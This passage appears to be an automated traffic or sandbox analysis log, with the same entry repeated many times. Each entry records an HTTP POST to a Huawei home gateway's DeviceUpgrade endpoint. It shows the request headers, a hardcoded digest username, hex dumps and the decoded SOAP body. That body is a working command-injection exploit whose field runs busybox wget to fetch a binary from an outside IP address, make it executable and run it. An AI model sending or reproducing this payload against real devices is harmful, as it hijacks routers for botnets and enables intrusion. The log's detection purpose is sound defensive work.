52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
